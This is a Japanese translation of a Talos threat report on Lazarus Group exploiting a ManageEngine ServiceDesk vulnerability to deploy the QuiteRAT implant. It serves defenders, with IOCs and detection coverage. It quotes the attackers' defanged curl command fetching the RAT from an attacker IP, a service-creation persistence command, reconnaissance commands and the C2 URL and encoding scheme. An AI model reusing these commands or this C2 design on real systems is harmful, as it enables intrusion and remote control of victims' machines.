Cisco Japan Blog

Lazarus Group が ManageEngine の脆弱性を悪用して QuiteRAT を展開

1 min read



  • Cisco Talos は、北朝鮮政府の支援を受ける Lazarus Group が、欧州および米国のインターネットバックボーン インフラと医療機関を標的として攻撃活動を行っていることを確認しました。Lazarus Group による攻撃が記事で取り上げられるのは、この 1 年足らずで今回が 3 度目です。同グループは 3 回にわたる攻撃活動で同じインフラを再利用しています。
  • 今回の攻撃で Lazarus Group が ManageEngine ServiceDesk の脆弱性(CVE-2022-47966popup_icon)を狙い始めたのは、Talos が追跡している新たなマルウェア「QuiteRAT」を送り込んで展開するために開発されたエクスプロイトの PoC が公開された 5 日後のことです。セキュリティ研究者が QuiteRAT を最初に発見したのは今年 2 月でしたが、それ以降、同インプラントについての情報はほとんどありませんでした。
  • QuiteRAT は、Lazarus Group の有名なマルウェア MagicRAT と同様の機能を多く備えていますが、ファイルサイズはかなりコンパクトになっています。どちらのインプラントも Qt フレームワーク上に構築されており、任意のコマンド実行などの機能があります。
  • Lazarus Group が Qt フレームワークを多用するようになったことで、防御側には課題が生じています。具体的には、マルウェアのコードがより複雑になるため、C/C++ や .NET などの比較的シンプルなプログラミング言語を使用して作成されたマルウェアと比べて、人手による分析が困難になります。また、マルウェアの開発で Qt が使用されることはほとんどないため、機械学習やヒューリスティック分析がこの手の脅威を検出する際の信頼性が低くなります。

Lazarus Group が欧州のインターネットバックボーン インフラ企業を侵害

Talos は今年初め、Lazarus Group が欧州のインターネットバックボーン インフラプロバイダーを侵害して QuiteRAT の展開に成功したことを確認しました。この攻撃では、脆弱性のある ManageEngine ServiceDesk のインスタンスを狙って初期アクセスが確立されました。エクスプロイトが成功した直後に、Java ランタイムプロセスを介して悪意のあるバイナリがダウンロードされ、実行されています。Talos は、Lazarus Group が cURL コマンドを使用して以下に示す悪意のある URL から QuiteRAT バイナリをすぐさま展開したことを確認しました。

curl hxxp[://]146[.]4[.]21[.]94/tmp/tmp/comp[.]dat -o c:\users\public\notify[.]exe

この IP アドレス 146[.]4[.]21[.]94 は、2022 年 5 月から同グループが使用しているものです。

QuiteRAT バイナリのダウンロードに成功すると、Java プロセスによってバイナリが実行され、感染したサーバー上で QuiteRAT インプラントが動作するようになります。インプラントの実行が開始されると、QuiteRAT は攻撃の準備として収集したシステム情報をコマンド & コントロール(C2)サーバーに送信し、C2 の応答を待ちます。C2 は、実行するコマンドコード、あるいは子プロセスである cmd.exe を介してエンドポイントで実行する実際の Windows コマンドを応答で返します。QuiteRAT がエンドポイントで実行する初期コマンドの一部(下記)は偵察用です。

コマンド 目的
C:\windows\system32\cmd.exe /c systeminfo | findstr Logon サーバー名(マシン名)を取得する。システム情報の検出 [T1082popup_icon]
C:\windows\system32\cmd.exe /c ipconfig | findstr Suffix システムのドメイン名を取得する。ドメインの検出 [T1087/002popup_icon]

QuiteRAT には永続化の仕組みは組み込まれていません。以下のコマンドを QuiteRAT に発行することで、レジストリを介してインプラントの永続化を図ります。

C:\Windows\system32\cmd[.]exe /c sc create WindowsNotification type= own type= interact start= auto error= ignore binpath= cmd /K start c:\users\public\notify[.]exe

一般的な感染チェーンは次のようになります。

QuiteRAT により悪意のある機能を進化させる Lazarus Group

QuiteRAT は非常にシンプルなリモートアクセス型トロイの木馬(RAT)であり、静的にリンクされている Qt ライブラリのコンパクトなセットと、ユーザーが記述したコードで構成されています。Qt フレームワークは、クロスプラットフォーム アプリケーションを開発するためのものですが、アプリケーションのグラフィカル ユーザーインターフェイスの開発プラットフォームとして絶大な人気を誇ります。QuiteRAT は、MagicRAT と同様に組み込みの Qt ライブラリを使用しますが、どちらのインプラントもグラフィカル ユーザーインターフェイスを持っていません。Lazarus Group のマルウェア MagicRAT に見られるように、Qt を使用するとコードが複雑になり、人手による分析が困難になります。また、マルウェアの開発で Qt が使用されることはほとんどないため、Qt を使用すると、機械学習やヒューリスティック分析でこの手の脅威を検出する際の信頼性が低くなります。

Qt フレームワークの採用など QuiteRAT の技術的特徴から、同インプラントはすでに情報が公開されている MagicRAT ファミリに属しているというのが Talos の見解です。QuiteRAT については、2023 年初めの WithSecure 社popup_iconのレポートで概説されています。今回 Talos が明らかにした新たな攻撃では、ManageEngine ServiceDesk の脆弱性(CVE-2022-47966popup_icon)をエクスプロイトして QuiteRAT を展開しています。この脆弱性の Kenna のリスクスコアpopup_iconは 100 点中 100 点です。

QuiteRAT はまず、感染したエンドポイントに関する基本的な情報(MAC アドレス、IP アドレス、デバイスの現在のユーザー名など)を収集します。これらの情報は、次の形式で使用されます。

<MAC_address><IP_address>[0];<MAC_address><IP_address>[1];...<MAC_address><IP_address>[n];<username>

結果として生成された文字列が次に MD4 ハッシュの計算に使用され、C2 サーバーとの通信中に感染識別子(被害者識別子)として使用されます。

C2 の URL や拡張 URI パラメータなど、ネットワーク関連の設定はすべてエンコードされ、マルウェアに保存されます。文字列は 0x78 で XOR 演算され、その後 base64 エンコードされます。この手口は、今年初めに WithSecure 社が行った分析popup_iconの結果と一致しています。

マルウェアにエンコードされた設定文字列

C2 と通信するための URL は、拡張 URI パラメータで次のように構成されています。

パラメータ名 説明
mailid <12 chars from MD4> エンドポイントから収集された情報(前述)の MD4 の最初の 12 文字
action “inbox” = チェックビーコンを送信する
“sent” = データを C2 に送信中
実行中のアクション
body <base64_xorred_data> C2 に送信されるデータ
param <Internal/Local IP address> 感染したエンドポイントの内部/LAN IP アドレス
session <rand> インプラントが生成する疑似乱数

C2 から入力を取得する HTTP GET の URL は次のようになります。

<C2_URL>/mailid=<12chars_MD4>&action=inbox&param=<Internal/Local_IP_address>&session=<rand>

データもまた、HTTP GET VERB を使用して C2 に送信されます。C2 にデータを送信する HTTP GET の URL は次のようになります。

<C2_URL>/mailid=<12chars_MD4>&action=sent&body=<base64_xorred_data>param=<Internal/Local_IP_address>&session=<rand>

C2 に送信されるデータの最大長は、0x400(1024)バイトです。エンドポイントでインプラントが実行したコマンドの出力が 1024 バイトを超えると、データの末尾に < No Pineapple! > マーカーが付加されます。

インプラントが通信中に使用するユーザーエージェントは次のとおりです。

Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0

QuiteRAT には、その場で生成されたランダムな IP アドレスに対して ping コマンドを実行する機能もあります。このリクエストは通常、<compspec_path>\cmd.exe /c <IP_Address> -n 18 & コマンドを使用して実行されます。

QuiteRAT が発行する ping コマンド(ランダム IP のオクテットを含む)

QuiteRAT は、C2 サーバーからコマンドコード「sendmail」と数値も受け取ります。この数値の期間(分単位)はスリープし、指定された時間が過ぎると C2 サーバーとの通信を再開します。攻撃者は侵入先の企業ネットワークへの継続的なアクセスを確保したうえで、この機能を使用して QuiteRAT を長時間休止状態にするようです。

QuiteRAT には、コマンドコード receivemail を使用して通信相手の C2 サーバーから 2 つ目の URL を受け取る機能もあります。その後、QuiteRAT はこの 2 つ目の URL にアクセスし、感染したシステム上で実行するコマンドとペイロードをサーバーから受信します。

Talos は、以下のバージョンの QuiteRAT を実際に確認しています。現時点で共有できるファイルハッシュは 1 つだけです(IOC セクションに記載)。

QuiteRAT のバイナリ名 コンパイル日付
notify.exe(32 ビット) 2022 年 5 月 30 日
acres.exe 2022 年 7 月 22 日
acres.exe(64 ビット) 2022 年 7 月 25 日

QuiteRAT よりも古い Lazarus Group のマルウェアである MagicRAT のバージョンのうち、Talos が実際に確認した最新バージョンは 2022 年 4 月にコンパイルされていました。これは、Talos が把握している MagicRAT の最後のバージョンです。2023 年 5 月以降、MagicRAT の派生インプラントである QuiteRAT が使用されていることから、Lazarus Group は戦術を変え、よりサイズが小さくコンパクトな Qt ベースのインプラントを選択しているようです。

QuiteRAT と MagicRAT の比較

QuiteRAT が MagicRAT の進化版であることは明らかです。MagicRAT は平均 18MB 程度という比較的サイズの大きいマルウェアファミリですが、QuiteRAT のサイズは平均 4MB ~ 5MB 程度とはるかに小さくなっています。サイズが大幅に違うのは、MagicRAT には Qt フレームワーク全体が組み込まれているのに対し、QuiteRAT には Qt ライブラリの必要な部分しか組み込まれていないからです。また、MagicRAT はスケジュールされたタスクを設定する機能によって永続化の仕組みを導入していますが、QuiteRAT には永続化の機能がありません。感染したエンドポイントで動作を継続するには C2 サーバーが発行するコマンドが必要です。これも、QuiteRAT のサイズを小さくできた要因です。

QuiteRAT が MagicRAT の派生型であることをうかがわせているのが両インプラントの類似性です。Qt フレームワーク上に構築されていることとは別に、感染したシステム上で任意のコマンドを実行するなど、どちらのインプラントも同様の機能を備えています。また、XOR 演算やハードコードされたデータのプリペンドといった別の手段と base64 エンコーディングを併用して文字列を難読化することで、文字列の自動デコードを困難にしています。さらに、C2 サーバーがスリープ期間を指定することによってインプラントがエンドポイント上で休止状態を維持できる点も同様です。

カバレッジ

今回の脅威は、以下の製品で検出してブロックすることが可能です。

Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからお申し込みください。

Cisco Secure Web Appliance の Web スキャンは、悪意のある Web サイトへのアクセスを防止し、上述したような攻撃で使用されるマルウェアを検出します。

Cisco Secure Email(旧 E メールセキュリティ)は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。Cisco Secure Email の無料トライアルはこちらからお申し込みください。

Threat Defense Virtual適応型セキュリティアプライアンスMeraki MX など、Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。

Cisco Secure Malware Analytics(Threat Grid)は、悪意のあるバイナリを特定し、シスコのすべてのセキュリティ製品に保護機能を組み込みます。

Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。Umbrella の無料トライアルはこちらからpopup_iconお申し込みください。

Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトを検査します。

特定の環境および脅威データに対する追加の保護機能は、Firewall Management Center から入手できます。

Cisco Duopopup_icon は、ユーザーに多要素認証を提供し、承認されたユーザーのみがネットワークにアクセスできるようにします。

オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.orgpopup_icon で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。

IOC

この調査の IOC は、こちらpopup_iconの GitHub リポジトリでも提供しています。

ハッシュ

QuiteRAT

ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6

ネットワーク IOC

146[.]4[.]21[.]94

hxxp[://]146[.]4[.]21[.]94/tmp/tmp/comp[.]dat

hxxp[://]146[.]4[.]21[.]94/tmp/tmp/log[.]php

hxxp[://]146[.]4[.]21[.]94/tmp/tmp/logs[.]php

hxxp[://]ec2-15-207-207-64[.]ap-south-1[.]compute[.]amazonaws[.]com/resource/main/rawmail[.]php

 

本稿は 2023 年 08 月 24 日に Talos Grouppopup_icon のブログに投稿された「Lazarus Group exploits ManageEngine vulnerability to deploy QuiteRATpopup_icon」の抄訳です。

 

コメントを書く